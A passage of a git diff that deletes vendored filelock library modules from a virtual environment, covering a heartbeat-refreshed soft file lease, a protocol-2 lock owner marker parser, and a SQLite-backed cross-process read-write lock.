_ThreadLocalLeaseClaimHolder if self.is_thread_local() else _LeaseClaimHolder - )() - - @property - def _claim(self) -> _LeaseClaim: - return self._claims.claim - - @property - def lease_duration(self) -> float: - """The staleness in seconds after which a contender may take this claim.""" - return self._lease_duration - - @property - def token(self) -> str | None: - """ - The token naming the claim this process published. - - :returns: the token while the lease is held, ``None`` otherwise. It identifies a claim; it does not fence one. - - """ - return self._claim.token - - @property - def compromise(self) -> LeaseCompromise | None: - """ - The loss of claim the heartbeat observed. - - :returns: the :class:`LeaseCompromise`, or ``None`` while the claim still holds - - """ - return self._claim.compromise - - def _acquire(self) -> None: - claim = self._claim - self._stop_heartbeat() # no earlier claim's heartbeat outlives the acquisition of the next one - claim.token = token = secrets.token_hex(16) - claim.compromise = None - super()._acquire() - # The context is thread-local by default, so the heartbeat thread cannot read the descriptor this one just - # published, nor the claim this one owns. Hand it the fd, the inode it verified and the claim instead. - if (fd := self._context.lock_file_fd) is not None and ( - identity := self._context.lock_file_fd_identity - ) is not None: - self._start_heartbeat(claim, fd, identity, token) - - def _release(self) -> None: - self._stop_heartbeat() - self._claim.token = None - super()._release() - - def _published_record(self) -> OwnerRecord: - return super()._published_record()._replace(token=self._claim.token, lease_duration=self._lease_duration) - - def _try_break_stale_lock(self) -> None: - if (peer := self._read_peer()) is None: - # Not a readable protocol 2 lease record: a partial write, a foreign or legacy protocol 1 marker, or the - # strict sentinel. The base self-heal evicts a genuinely malformed marker once it ages past the grace - # window and leaves a legitimate legacy or strict holder in place, so a corrupt marker no longer wedges - # every lease contender until its own timeout. - super()._try_break_stale_lock() - return - owner, mtime, ino = peer - # Only a peer that published a lease agreed to be superseded by one, so a record stating any other contract is - # never reclaimed by age. Raise the mismatch outside the read so the suppression cannot swallow it. - if owner.mode != "lease": - return - if owner.lease_duration != self._lease_duration: - msg = ( - f"{self.lock_file} holds a lease of {owner.lease_duration!r}s but this contender configured " - f"{self._lease_duration!r}s; every contender for a path must agree on lease_duration" - ) - raise LeaseSettingsMismatch(msg) - # A break can fail for reasons a contender must ride out rather than raise on: a peer broke the marker first, - # or Windows refuses to rename a file whose holder still has it open. Poll again instead. - with suppress(OSError): - # A dead or recycled owner is reclaimed at once; a live owner past its lease duration is superseded on the - # schedule every contender agreed to. - if owner_is_stale(owner.pid, owner.hostname, owner.start): - break_lock_file(self.lock_file, mtime, ino) - return - if time.time() - mtime >= self._lease_duration: - break_lock_file(self.lock_file, mtime, ino) - - def _read_peer(self) -> tuple[OwnerRecord, float, int] | None: - with suppress(OSError, ValueError): - content, mtime, ino = _read_lock_file(self.lock_file) - if (owner := parse_marker(content)) is not None: - return owner, mtime, ino - return None - - def _start_heartbeat(self, claim: _LeaseClaim, fd: int, identity: tuple[int, int], token: str) -> None: - # The thread watches the event it was handed rather than whatever the claim names later: a heartbeat that - # outlives its join timeout would otherwise adopt the next acquisition's event and never stop. - stop = Event() - thread = Thread( - target=self._refresh_until_stopped, - args=(claim, fd, identity, token, stop), - name=f"filelock-lease-{os.getpid()}", - daemon=True, - ) - # Record the heartbeat before starting the thread so a release racing this acquire on a shared, - # non-thread-local claim always sees it and sets the stop event; the thread then exits at its first wait - # instead of outliving the release. A start that raises leaves the unstarted thread for _stop_heartbeat. - claim.heartbeat = _Heartbeat(thread, stop) - thread.start() - - def _stop_heartbeat(self) -> None: - claim = self._claim - if (heartbeat := claim.heartbeat) is None: - return - heartbeat.stop.set() - claim.heartbeat = None - # thread.ident is None until start() runs: a heartbeat recorded before its thread started (a start that - # raised, or a release racing acquire on a shared claim) has nothing to join, and the stop above makes it - # exit at once. on_compromise runs on the heartbeat thread and may release the lease, landing back here. - if heartbeat.thread.ident is not None and heartbeat.thread is not current_thread(): - heartbeat.thread.join(timeout=self._heartbeat_interval) - - def _refresh_until_stopped( - self, - claim: _LeaseClaim, - fd: int, - identity: tuple[int, int], - token: str, - stop: Event, - ) -> None: - # The loop ends at the first loss of the claim, so the holder hears about it once. A transient filesystem - # error (ESTALE / EIO on the NFS-style filesystems a lease targets) is not a loss: retry rather than raise a - # false compromise. Report the claim unrefreshable only once failures have run long enough that a contender - # could take it before the next success would land, a margin before the marker actually ages out, the way - # restic declares a lock unrefreshable ahead of its stale time. - last_success = time.monotonic() - while not stop.wait(self._heartbeat_interval): - outcome, error = self._refresh_claim(claim, fd, identity, token) - if outcome == "lost": - return - if outcome == "ok": - last_success = time.monotonic() - elif time.monotonic() - last_success >= self._lease_duration - self._heartbeat_interval: - self._report_compromise(claim, "refresh-failed", error, token) - return - - def _refresh_claim( - self, - claim: _LeaseClaim, - fd: int, - identity: tuple[int, int], - token: str, - ) -> tuple[_RefreshOutcome, OSError | None]: - try: - st = os.lstat(self.lock_file) - except FileNotFoundError as error: - self._report_compromise(claim, "marker-missing", error, token) - return "lost", None - except OSError as error: - return "transient", error - # A peer that took the expired claim replaced the marker, so the pathname now names its inode, not ours. - if (st.st_dev, st.st_ino) != identity: - self._report_compromise(claim, "owner-changed", None, token) - return "lost", None - try: - touch(self.lock_file, fd=fd) - except OSError as error: - return "transient", error - return "ok", None - - def _report_compromise( - self, - claim: _LeaseClaim, - reason: CompromiseReason, - error: OSError | None, - token: str, - ) -> None: - # Record it on the claim this heartbeat serves, not on self._claim: a thread-local claim read from the - # heartbeat thread is a different, empty one, so the holder would never see the loss it is being told about. - # The token is the one this thread published, not claim.token, which a release may already have cleared. - claim.compromise = LeaseCompromise(lock_file=self.lock_file, token=token, reason=reason, error=error) - if self._on_compromise is not None: - self._on_compromise(claim.compromise) - - -__all__ = [ - "CompromiseReason", - "LeaseCompromise", - "SoftFileLease", -] diff --git a/venv/Lib/site-packages/filelock/_marker.py b/venv/Lib/site-packages/filelock/_marker.py deleted file mode 100644 index f8e7fa6f8aaeb726cd59970663b22340212109f2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock/_marker.py +++ /dev/null @@ -1,157 +0,0 @@ -from __future__ import annotations - -import math -import os -from contextlib import suppress -from typing import Final, Literal, NamedTuple - -from ._identity import host_name, process_start_token -from ._soft import SoftFileLock, _read_lock_file -from ._util import write_all - -#: Protocol 1 is the legacy ``\n\n[\n]`` marker that :class:`SoftFileLock` still writes. -#: Protocol 2 carries the owner mode and the lease claim. A protocol 1 reader treats a protocol 2 marker as malformed -#: and evicts it after its grace period, so the two never guarantee mutual exclusion against each other. -_PROTOCOL: Final[str] = "filelock/2" - -_MAX_PID: Final[int] = 2**31 - 1 - -#: ``unknown`` is never published: it names a mode some other filelock wrote that this version cannot interpret. Such a -#: record still identifies a live owner, so it is parsed rather than read as malformed and aged out. -OwnerMode = Literal["lease", "unknown"] - - -class OwnerRecord(NamedTuple): - """The owner published in a protocol 2 marker.""" - - pid: int - hostname: str - mode: OwnerMode - token: str | None = None - lease_duration: float | None = None - start: int | None = None - - -class MarkerSoftFileLock(SoftFileLock): - """An existence lock whose marker carries a protocol 2 owner record.""" - - #: Filled in by each mode so the published record states the contract its holder acquired under. - _owner_mode: OwnerMode - - @property - def owner(self) -> OwnerRecord | None: - """ - The owner named by the marker on disk. - - :returns: the published record, or ``None`` when no marker exists or its record is malformed or protocol 1 - - """ - return self._read_owner() - - @property - def pid(self) -> int | None: - """ - The PID of the process holding this lock, read from the marker. - - :returns: the PID, or ``None`` when no marker exists or its record is unreadable - - """ - return None if (owner := self._read_owner()) is None else owner.pid - - @property - def is_lock_held_by_us(self) -> bool: - """ - Whether the marker on disk names this process. - - :returns: ``True`` when the marker's PID and hostname match this process - - """ - owner = self._read_owner() - return owner is not None and owner.pid == os.getpid() and owner.hostname == host_name() - - def force_break(self) -> None: - """ - Remove the marker whoever holds it, so a later contender can acquire. - - Forced breaking voids mutual exclusion: the previous holder keeps running and keeps using whatever the lock - protects. Reserve it for an operator clearing a marker whose holder is known to be gone. - """ - self.break_lock() - - def _read_owner(self) -> OwnerRecord | None: - with suppress(OSError, ValueError): - return parse_marker(_read_lock_file(self.lock_file)[0]) - return None - - def _write_lock_info(self, fd: int) -> None: - write_all(fd, encode_marker(self._published_record())) - - def _published_record(self) -> OwnerRecord: - return OwnerRecord( - pid=os.getpid(), - hostname=host_name(), - mode=self._owner_mode, - start=process_start_token(os.getpid()), - ) - - -def encode_marker(record: OwnerRecord) -> bytes: - """Render an owner record as the bytes a protocol 2 marker holds.""" - lines = [_PROTOCOL, f"pid={record.pid}", f"host={record.hostname}", f"mode={record.mode}"] - if record.token is not None: - lines.append(f"token={record.token}") - if record.lease_duration is not None: - lines.append(f"duration={record.lease_duration!r}") - if record.start is not None: - lines.append(f"start={record.start}") - return "".join(f"{line}\n" for line in lines).encode() - - -def parse_marker(content: str | None) -> OwnerRecord | None: - """Return the owner a protocol 2 marker names, or ``None`` when the record is malformed or protocol 1.""" - if not content or not (lines := content.strip().splitlines()) or lines[0] != _PROTOCOL: - return None - fields: dict[str, str] = {} - for line in lines[1:]: - key, separator, value = line.partition("=") - if not separator: - return None - fields[key] = value - return _build_record(fields) - - -def _build_record(fields: dict[str, str]) -> OwnerRecord | None: - # An unknown key is a field a newer filelock published, so ignore it rather than read the record as malformed. An - # unrecognized mode is the same story one level up: a contract this version does not implement. Reading it as - # malformed would age the marker out of a live owner's hands, so keep it and let the caller refuse to reclaim it. - # A record naming no mode at all states no contract and stays malformed. - if (published := fields.get("mode")) is None: - return None - mode: OwnerMode = "lease" if published == "lease" else "unknown" - hostname = fields.get("host") - if not hostname or "pid" not in fields: - return None - try: - pid = int(fields["pid"]) - duration = float(fields["duration"]) if "duration" in fields else None - start = int(fields["start"]) if "start" in fields else None - except ValueError: - return None - if not 1 <= pid <= _MAX_PID: - return None - token = fields.get("token") - # float() accepts "nan" and "inf", and neither is non-positive, so a duration <= 0 guard alone would read such a - # marker as a valid lease. A nan duration mismatches every configured duration and so wedges reclaim, where a - # malformed marker ages out through the grace window. - if mode == "lease" and (token is None or duration is None or not (math.isfinite(duration) and duration > 0)): - return None - return OwnerRecord(pid=pid, hostname=hostname, mode=mode, token=token, lease_duration=duration, start=start) - - -__all__ = [ - "MarkerSoftFileLock", - "OwnerMode", - "OwnerRecord", - "encode_marker", - "parse_marker", -] diff --git a/venv/Lib/site-packages/filelock/_read_write.py b/venv/Lib/site-packages/filelock/_read_write.py deleted file mode 100644 index c043f7e67a9cc2136c0cc28ea27dc8660b1454cd..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock/_read_write.py +++ /dev/null @@ -1,783 +0,0 @@ -from __future__ import annotations - -import logging -import os -import pathlib -import sqlite3 -import sys -import threading -import time -from contextlib import contextmanager, suppress -from typing import TYPE_CHECKING, ClassVar, Final, Literal, TypeAlias, cast -from weakref import WeakValueDictionary - -from ._api import ( - AcquireReturnProxy, - _ensure_current_process, - _fork_transition, - _raise_chained_errors, - _register_fork_class, - _register_fork_object, -) -from ._error import Timeout - -if TYPE_CHECKING: - from collections.abc import Callable, Generator - - from _typeshed import Unused - - if sys.version_info >= (3, 11): - from typing import Self - else: - from typing_extensions import Self - -_LOGGER: Final[logging.Logger] = logging.getLogger("filelock") -_GETPID: Final[Callable[[], int]] = os.getpid -_IS_PYPY: Final[bool] = sys.implementation.name == "pypy" -_NEEDS_CONNECTION_ESCROW: Final[bool] = ( - hasattr(os, "register_at_fork") and sys.implementation.name == "cpython" and sys.version_info < (3, 12) -) -_ConnectionParameter: TypeAlias = ( - str | bytes | os.PathLike[str] | os.PathLike[bytes] | float | int | type[sqlite3.Connection] | None -) -_DatabaseIdentity: TypeAlias = tuple[int, int] - -# sqlite3_busy_timeout() accepts a C int, max 2_147_483_647 on 32-bit. Use a lower value to be safe (~23 days). -_MAX_SQLITE_TIMEOUT_MS: Final[int] = 2_000_000_000 - 1 -_UNSAFE_FORK_EXIT_STATUS: Final[int] = 70 - - -class _SQLiteTransitionContext(threading.local): - depth: int = 0 - - -_SQLITE_TRANSITION_CONTEXT: Final = _SQLiteTransitionContext() - - -class _ConnectionEscrow: - def __init__(self) -> None: - self._lock = threading.RLock() - self._functions: tuple[Callable[[sqlite3.Connection], None], Callable[[sqlite3.Connection], None]] | None = None - - def functions( - self, - ) -> tuple[Callable[[sqlite3.Connection], None], Callable[[sqlite3.Connection], None]] | None: - if not _NEEDS_CONNECTION_ESCROW: - return None # pragma: >=3.12 cover - with self._lock: # pragma: <3.12 cover # pragma: needs fork - if self._functions is None: - import ctypes # ruff:ignore[import-outside-top-level] # keep optional ctypes and its audited dlsym out of ordinary imports - - function_type = ctypes.PYFUNCTYPE(None, ctypes.py_object) - increment_address = ctypes.cast(ctypes.pythonapi.Py_IncRef, ctypes.c_void_p).value - decrement_address = ctypes.cast(ctypes.pythonapi.Py_DecRef, ctypes.c_void_p).value - if increment_address is None or decrement_address is None: # pragma: no cover - resolved CPython API - msg = "CPython reference functions have no address" - raise RuntimeError(msg) - self._functions = ( - cast("Callable[[sqlite3.Connection], None]", function_type(increment_address)), - cast("Callable[[sqlite3.Connection], None]", function_type(decrement_address)), - ) - return self._functions - - def _reset_after_fork_in_child(self) -> None: # pragma: forked child - self._lock = threading.RLock() - - -_CONNECTION_ESCROW: Final = _ConnectionEscrow() - - -class _ForkedDatabaseRegistry: - def __init__(self) -> None: - self._lock = threading.RLock() - self._paths: set[pathlib.Path] = set() - self._identities: set[_DatabaseIdentity] = set() - self._sqlite_used = False - self._all_paths_poisoned = False - - def raise_if_poisoned(self, path: pathlib.Path) -> None: - identity = self.identity(path) - with self._lock: - all_paths_poisoned = self._all_paths_poisoned - poisoned = ( - all_paths_poisoned or path in self._paths or (identity is not None and identity in self._identities) - ) - if poisoned: # pragma: needs fork - msg = ( - "ReadWriteLock is unavailable in a PyPy fork child; exec or exit before using it" - if all_paths_poisoned - else f"SQLite database {path!s} was active across fork(); exec or exit before using it in the child" - ) - raise RuntimeError(msg) - - def poison_after_fork(self, path: pathlib.Path, identity: _DatabaseIdentity | None) -> None: - self._paths.add(path) - if identity is not None: - self._identities.add(identity) - - def note_sqlite_use(self) -> None: - if _IS_PYPY: - with self._lock: - self._sqlite_used = True - - def _reset_after_fork_in_child(self) -> None: # pragma: forked child - self._lock = threading.RLock() - self._all_paths_poisoned = self._all_paths_poisoned or (_IS_PYPY and self._sqlite_used) - self._sqlite_used = False - - @staticmethod - def identity(path: pathlib.Path) -> _DatabaseIdentity | None: - try: - stat_result = path.stat() - except OSError: - return None - return stat_result.st_dev, stat_result.st_ino - - -_FORKED_DATABASES: Final = _ForkedDatabaseRegistry() - - -class _ForkSafeConnection(sqlite3.Connection): - _creator_pid: int - _decrement_escrow: Callable[[sqlite3.Connection], None] | None - - def __new__( - cls, - *_args: _ConnectionParameter, - **_kwargs: _ConnectionParameter, - ) -> Self: - connection = super().__new__(cls) - connection._creator_pid = _GETPID() - connection._decrement_escrow = None - return connection - - def close(self) -> None: - with _sqlite_transition(): - if _GETPID() != self._creator_pid: # pragma: needs fork - return - with _fork_transition(): - sqlite3.Connection.close(self) - if (decrement := self._decrement_escrow) is not None: # pragma: <3.12 cover # pragma: needs fork - self._decrement_escrow = None - decrement(self) - - def acquire_escrow( # pragma: <3.12 cover # pragma: needs fork - self, - functions: tuple[Callable[[sqlite3.Connection], None], Callable[[sqlite3.Connection], None]] | None, - ) -> None: - # The caller only reaches here holding the escrow functions; it skips the call entirely without them. - if functions is not None: # pragma: no branch - increment, decrement = functions - increment(self) - self._decrement_escrow = decrement - - def __del__(self) -> None: - with suppress(sqlite3.Error, RuntimeError): - self.close() - - -class _ReadWriteLockMeta(type): - """ - Resolve singleton instances for ``is_singleton=True`` construction. - - This logic lives here rather than in ReadWriteLock.get_lock so ``ReadWriteLock(path)`` returns cached instances - without a 2-arg ``super()`` call that type checkers cannot verify. - - """ - - _instances: WeakValueDictionary[pathlib.Path, ReadWriteLock] - _instances_lock: threading.RLock - _instances_pid: int - _instances_under_construction: set[pathlib.Path] - - def __call__( - cls, - lock_file: str | os.PathLike[str], - timeout: float = -1, - *, - blocking: bool = True, - is_singleton: bool = True, - ) -> ReadWriteLock: - _ensure_current_process() - if cls._instances_pid != _GETPID(): - cls._reset_class_after_fork() - construction_pid = _GETPID() - if not is_singleton: - instance = super().__call__(lock_file, timeout, blocking=blocking, is_singleton=is_singleton) - if _GETPID() != construction_pid: # pragma: forked child - msg = "ReadWriteLock construction cannot continue after fork" - raise RuntimeError(msg) - return instance - - normalized = pathlib.Path(lock_file).resolve() - with cls._instances_lock: - if normalized not in cls._instances: - if normalized in cls._instances_under_construction: # pragma: no cover - exercised in an audit callback - msg = f"Singleton lock construction is already active for {lock_file!s}" - raise RuntimeError(msg) - construction_registry = cls._instances_under_construction - construction_registry.add(normalized) - try: - instance = super().__call__(lock_file, timeout, blocking=blocking, is_singleton=is_singleton) - finally: - if _GETPID() == construction_pid: - construction_registry.discard(normalized) - if _GETPID() != construction_pid: - msg = "ReadWriteLock construction cannot continue after fork" - raise RuntimeError(msg) - cls._instances[normalized] = instance - else: - instance = cls._instances[normalized] - - if instance.timeout != timeout or instance.blocking != blocking: - msg = ( - f"Singleton lock created with timeout={instance.timeout}, blocking={instance.blocking}," - f" cannot be changed to timeout={timeout}, blocking={blocking}" - ) - raise ValueError(msg) - return instance - - def _reset_class_after_fork(cls) -> None: # pragma: forked child - cls._instances = WeakValueDictionary() - cls._instances_lock = threading.RLock() - cls._instances_pid = _GETPID() - cls._instances_under_construction = set() - - -class ReadWriteLock(metaclass=_ReadWriteLockMeta): - """ - Cross-process read-write lock backed by SQLite. - - Allows concurrent shared readers or a single exclusive writer. The lock is reentrant within the same mode (multiple - ``acquire_read`` calls nest, as do multiple ``acquire_write`` calls from the same thread), but upgrading from read - to write or downgrading from write to read raises :class:`RuntimeError`. Write locks are pinned to the thread that - acquired them. - - By default, ``is_singleton=True``: calling ``ReadWriteLock(path)`` with the same resolved path returns the same - instance. The path is handed to :func:`sqlite3.connect` as given, so a ``.db`` extension is a convention rather - than a requirement; the filesystem must be one the active SQLite VFS supports. - - :param lock_file: path to the SQLite database file used as the lock - :param timeout: maximum wait time in seconds; ``-1`` means block indefinitely - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately when the lock is unavailable - :param is_singleton: if ``True``, reuse existing instances for the same resolved path - - .. versionadded:: 3.21.0 - - """ - - _instances: WeakValueDictionary[pathlib.Path, ReadWriteLock] = WeakValueDictionary() - _instances_lock = threading.RLock() - _instances_pid = _GETPID() - _instances_under_construction: ClassVar[set[pathlib.Path]] = set() - - def __init_subclass__(cls) -> None: - super().__init_subclass__() - cls._instances = WeakValueDictionary() - cls._instances_lock = threading.RLock() - cls._instances_pid = _GETPID() - cls._instances_under_construction = set() - _register_fork_class(cls) - - @classmethod - def get_lock( - cls, lock_file: str | os.PathLike[str], timeout: float = -1, *, blocking: bool = True - ) -> ReadWriteLock: - """ - Return the singleton :class:`ReadWriteLock` for *lock_file*. - - :param lock_file: path to the SQLite database file used as the lock - :param timeout: maximum wait time in seconds; ``-1`` means block indefinitely - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately when the lock is unavailable - - :returns: the singleton lock instance - - :raises ValueError: if an instance already exists for this path with different *timeout* or *blocking* values - - """ - return cls(lock_file, timeout, blocking=blocking) - - def __init__( - self, - lock_file: str | os.PathLike[str], - timeout: float = -1, - *, - blocking: bool = True, - is_singleton: bool = True, # ruff:ignore[unused-method-argument] # consumed by _ReadWriteLockMeta.__call__ - ) -> None: - self.lock_file = os.fspath(lock_file) - self._canonical_path = pathlib.Path(lock_file).resolve() - _FORKED_DATABASES.raise_if_poisoned(self._canonical_path) - self.timeout = timeout - self.blocking = blocking - self._transaction_lock = threading.Lock() # serializes the (possibly blocking) SQLite transaction work - self._internal_lock = threading.Lock() # protects _lock_level / _current_mode updates and rollback - self._lock_level = 0 - self._current_mode: Literal["read", "write"] | None = None - self._write_thread_id: int | None = None - self._acquisition_thread_ids: set[int] = set() - self._con: _ForkSafeConnection | None = None - self._connection_transaction_released = True - self._connection_identity: _DatabaseIdentity | None = None - self._closed = False - self._creator_pid = _GETPID() - self._fork_invalidated = False - _register_fork_object(self) - with _fork_transition(), _sqlite_transition(): - validation_connection = self._open_connection(sqlite_timeout=5.0) - validation_connection.close() - - def acquire_read(self, timeout: float = -1, *, blocking: bool = True) -> AcquireReturnProxy: - """ - Acquire a shared read lock. - - If this instance already holds a read lock, the lock level is incremented (reentrant). Attempting to acquire a - read lock while holding a write lock raises :class:`RuntimeError` (downgrade not allowed). - - :param timeout: maximum wait time in seconds; ``-1`` means block indefinitely - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately when the lock is unavailable - - :returns: a proxy that can be used as a context manager to release the lock - - :raises RuntimeError: if a write lock is already held on this instance - :raises Timeout: if the lock cannot be acquired within *timeout* seconds - - """ - return self._acquire("read", timeout, blocking=blocking) - - def acquire_write(self, timeout: float = -1, *, blocking: bool = True) -> AcquireReturnProxy: - """ - Acquire an exclusive write lock. - - If this instance already holds a write lock from the same thread, the lock level is incremented (reentrant). - Attempting to acquire a write lock while holding a read lock raises :class:`RuntimeError` (upgrade not allowed). - Write locks are pinned to the acquiring thread: a different thread trying to re-enter also raises - :class:`RuntimeError`. - - :param timeout: maximum wait time in seconds; ``-1`` means block indefinitely - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately when the lock is unavailable - - :returns: a proxy that can be used as a context manager to release the lock - - :raises RuntimeError: if a read lock is already held, or a write lock is held by a different thread - :raises Timeout: if the lock cannot be acquired within *timeout* seconds - - """ - return self._acquire("write", timeout, blocking=blocking) - - @contextmanager - def read_lock(self, timeout: float | None = None, *, blocking: bool | None = None) -> Generator[None]: - """ - Context manager that acquires and releases a shared read lock. - - Falls back to instance defaults for *timeout* and *blocking* when ``None``. - - :param timeout: maximum wait time in seconds, or ``None`` to use the instance default - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately; ``None`` uses the instance default - - """ - if timeout is None: - timeout = self.timeout - if blocking is None: - blocking = self.blocking - self.acquire_read(timeout, blocking=blocking) - try: - yield - finally: - self.release() - - @contextmanager - def write_lock(self, timeout: float | None = None, *, blocking: bool | None = None) -> Generator[None]: - """ - Context manager that acquires and releases an exclusive write lock. - - Falls back to instance defaults for *timeout* and *blocking* when ``None``. - - :param timeout: maximum wait time in seconds, or ``None`` to use the instance default - :param blocking: if ``False``, raise :class:`~filelock.Timeout` immediately; ``None`` uses the instance default - - """ - if timeout is None: - timeout = self.timeout - if blocking is None: - blocking = self.blocking - self.acquire_write(timeout, blocking=blocking) - try: - yield - finally: - self.release() - - def release(self, *, force: bool = False) -> None: - """ - Release one level of the current lock. - - When the lock level reaches zero the underlying SQLite transaction is rolled back, releasing the database lock. - - :param force: if ``True``, release the lock completely regardless of the current lock level - - :raises RuntimeError: if no lock is currently held and *force* is ``False`` - - """ - with _fork_transition(): - _ensure_current_process() - if self._inherited: # pragma: needs fork - return - self._raise_if_acquiring("release") - self._release(force=force, close=False) - - def close(self) -> None: - """ - Release the lock (if held) and close the underlying SQLite connection. - - After calling this method, the lock instance is no longer usable. - - """ - with _fork_transition(): - _ensure_current_process() - if self._inherited: # pragma: needs fork - return - self._raise_if_acquiring("close") - self._release(force=True, close=True) - - def _release(self, *, force: bool, close: bool) -> None: - with self._transaction_lock, self._internal_lock: - if self._lock_level == 0: - if force and self._con is None: - if close: - self._closed = True - return - if not force: - msg = f"Cannot release a lock on {self.lock_file} (lock id: {id(self)}) that is not held" - raise RuntimeError(msg) - if not force and self._lock_level > 1: - self._lock_level -= 1 - return - try: - self._finish_connection() - except sqlite3.Error: - if self._connection_transaction_released: - self._clear_lock_state() - raise - self._clear_lock_state() - if close: - self._closed = True - - def _clear_lock_state(self) -> None: - self._lock_level = 0 - self._current_mode = None - self._write_thread_id = None - - def __del__(self) -> None: - if _GETPID() == getattr(self, "_creator_pid", None) and (connection := getattr(self, "_con", None)) is not None: - with suppress(sqlite3.Error, RuntimeError): - connection.close() - - def _reset_after_fork_in_child(self) -> None: # pragma: forked child - if self._con is not None: - _FORKED_DATABASES.poison_after_fork(self._canonical_path, self._connection_identity) - self._con = None - self._connection_transaction_released = True - self._connection_identity = None - self._transaction_lock = threading.Lock() - self._internal_lock = threading.Lock() - self._clear_lock_state() - self._acquisition_thread_ids = set() - self._fork_invalidated = True - - @property - def _inherited(self) -> bool: - return self._fork_invalidated or _GETPID() != self._creator_pid - - def _raise_if_unusable(self) -> None: - _ensure_current_process() - if self._inherited: # pragma: needs fork - msg = f"ReadWriteLock on {self.lock_file} was invalidated by fork(); construct a new instance" - raise RuntimeError(msg) - if self._closed: - msg = "Cannot operate on a closed database." - raise sqlite3.ProgrammingError(msg) - - def _acquire(self, mode: Literal["read", "write"], timeout: float, *, blocking: bool) -> AcquireReturnProxy: - with _fork_transition(): - self._raise_if_unusable() - operation_pid = _GETPID() - thread_id = threading.get_ident() - with self._internal_lock: - if self._lock_level > 0: - return self._validate_reentrant(mode) - if thread_id in self._acquisition_thread_ids: # pragma: no cover - exercised in an audit callback - msg = f"Cannot acquire ReadWriteLock on {self.lock_file} while acquisition is active in this thread" - raise RuntimeError(msg) - self._acquisition_thread_ids.add(thread_id) - try: - start_time = time.perf_counter() - self._acquire_transaction_lock(blocking=blocking, timeout=timeout) - try: - self._raise_if_unusable() - return self._do_acquire_inner( - mode, - timeout, - blocking=blocking, - operation_pid=operation_pid, - start_time=start_time, - ) - finally: - self._transaction_lock.release() - finally: - with self._internal_lock: - self._acquisition_thread_ids.discard(thread_id) - - def _do_acquire_inner( - self, - mode: Literal["read", "write"], - timeout: float, - *, - blocking: bool, - operation_pid: int, - start_time: float, - ) -> AcquireReturnProxy: - # Double-check: another thread may have acquired the lock while we waited on _transaction_lock. - with self._internal_lock: - if self._lock_level > 0: - return self._validate_reentrant(mode) - if self._con is not None: - self._finish_connection() - try: - self._open_for_acquisition( - timeout, - blocking=blocking, - operation_pid=operation_pid, - start_time=start_time, - ) - self._configure_and_begin( - mode, - timeout, - blocking=blocking, - operation=(operation_pid, start_time), - ) - self._raise_if_process_changed(operation_pid) - except BaseException as error: - acquisition_error: BaseException - if isinstance(error, sqlite3.OperationalError) and "database is locked" in str(error): - acquisition_error = Timeout(self.lock_file) - else: - acquisition_error = error - try: - self._finish_connection() - except sqlite3.Error as cleanup_error: - _raise_chained_errors(acquisition_error, cleanup_error) - if acquisition_error is not error: - raise acquisition_error from None - raise - with self._internal_lock: - self._raise_if_process_changed(operation_pid) - self._current_mode = mode - self._lock_level = 1 - if mode == "write": - self._write_thread_id = threading.get_ident() - return AcquireReturnProxy(lock=self) - - def _open_for_acquisition(self, timeout: float, *, blocking: bool, operation_pid: int, start_time: float) -> None: - with _sqlite_transition(): - sqlite_timeout = ( - timeout_for_sqlite( - timeout, - blocking=blocking, - already_waited=time.perf_counter() - start_time, - ) - / 1000 - ) - connection = self._open_connection(sqlite_timeout=sqlite_timeout) - self._con, self._connection_transaction_released, self._connection_identity = ( - connection, - False, - _FORKED_DATABASES.identity(self._canonical_path), - ) - self._raise_if_process_changed(operation_pid) - - def _configure_and_begin( - self, - mode: Literal["read", "write"], - timeout: float, - *, - blocking: bool, - operation: tuple[int, float], - ) -> None: - with _sqlite_transition(): - operation_pid, start_time = operation - connection = cast("_ForkSafeConnection", self._con) - waited = time.perf_counter() - start_time - timeout_ms = timeout_for_sqlite(timeout, blocking=blocking, already_waited=waited) - self._raise_if_process_changed(operation_pid) - connection.executescript(f"PRAGMA busy_timeout={timeout_ms}; PRAGMA journal_mode=MEMORY;").close() - # Use legacy journal mode (not WAL) because WAL does not block readers while a concurrent EXCLUSIVE - # write transaction is active, which makes read-write locking impossible without modifying table data. - # MEMORY is safe here since no writes happen, so a crash cannot corrupt the DB. - # See https://sqlite.org/lang_transaction.html#deferred_immediate_and_exclusive_transactions - # - # Recompute the remaining timeout after the blocking journal_mode pragma. - waited = time.perf_counter() - start_time - recomputed = timeout_for_sqlite(timeout, blocking=blocking, already_waited=waited) - self._raise_if_process_changed(operation_pid) - statements = f"PRAGMA busy_timeout={recomputed}; " if recomputed != timeout_ms else "" - statements += "BEGIN EXCLUSIVE TRANSACTION;" if mode == "write" else "BEGIN TRANSACTION;" - if mode == "read": - # SQLite takes the SHARED lock only when a statement reads; BEGIN alone stays deferred. - # https://www.sqlite.org/lockingv3.html#transaction_control - statements += " SELECT name FROM sqlite_schema LIMIT 1;" - connection.executescript(statements).close() - - def _open_connection(self, *, sqlite_timeout: float) -> _ForkSafeConnection: - with _sqlite_transition(): - creator_pid = _GETPID() - functions = _CONNECTION_ESCROW.functions() - if _GETPID() != creator_pid: # pragma: forked child - msg = "SQLite connection construction cannot continue after fork" - raise RuntimeError(msg) - connection = _connect( - os.fspath(self._canonical_path), - factory=_ForkSafeConnection, - timeout=sqlite_timeout, - ) - if functions is not None: # pragma: <3.12 cover # pragma: needs fork - connection.acquire_escrow(functions) - if _GETPID() != creator_pid: # pragma: forked child - _FORKED_DATABASES.poison_after_fork( - self._canonical_path, - _FORKED_DATABASES.identity(self._canonical_path), - ) - msg = "SQLite connection construction cannot continue after fork" - raise RuntimeError(msg) - return connection - - def _finish_connection(self) -> None: - with _sqlite_transition(): - if (connection := self._con) is None: - return - rollback_error: sqlite3.Error | None = None - if not self._connection_transaction_released: - if connection.in_transaction: - try: - connection.rollback() - except sqlite3.Error as error: - if connection.in_transaction: - raise - self._connection_transaction_released = True - rollback_error = error - else: - self._connection_transaction_released = True - else: - self._connection_transaction_released = True - try: - connection.close() - except sqlite3.Error as close_error: - if rollback_error is not None: - _raise_chained_errors(rollback_error, close_error) - raise - self._con = None - self._connection_transaction_released = True - self._connection_identity = None - if rollback_error is not None: - raise rollback_error - - def _validate_reentrant(self, mode: Literal["read", "write"]) -> AcquireReturnProxy: - if self._current_mode != mode: - opposite = 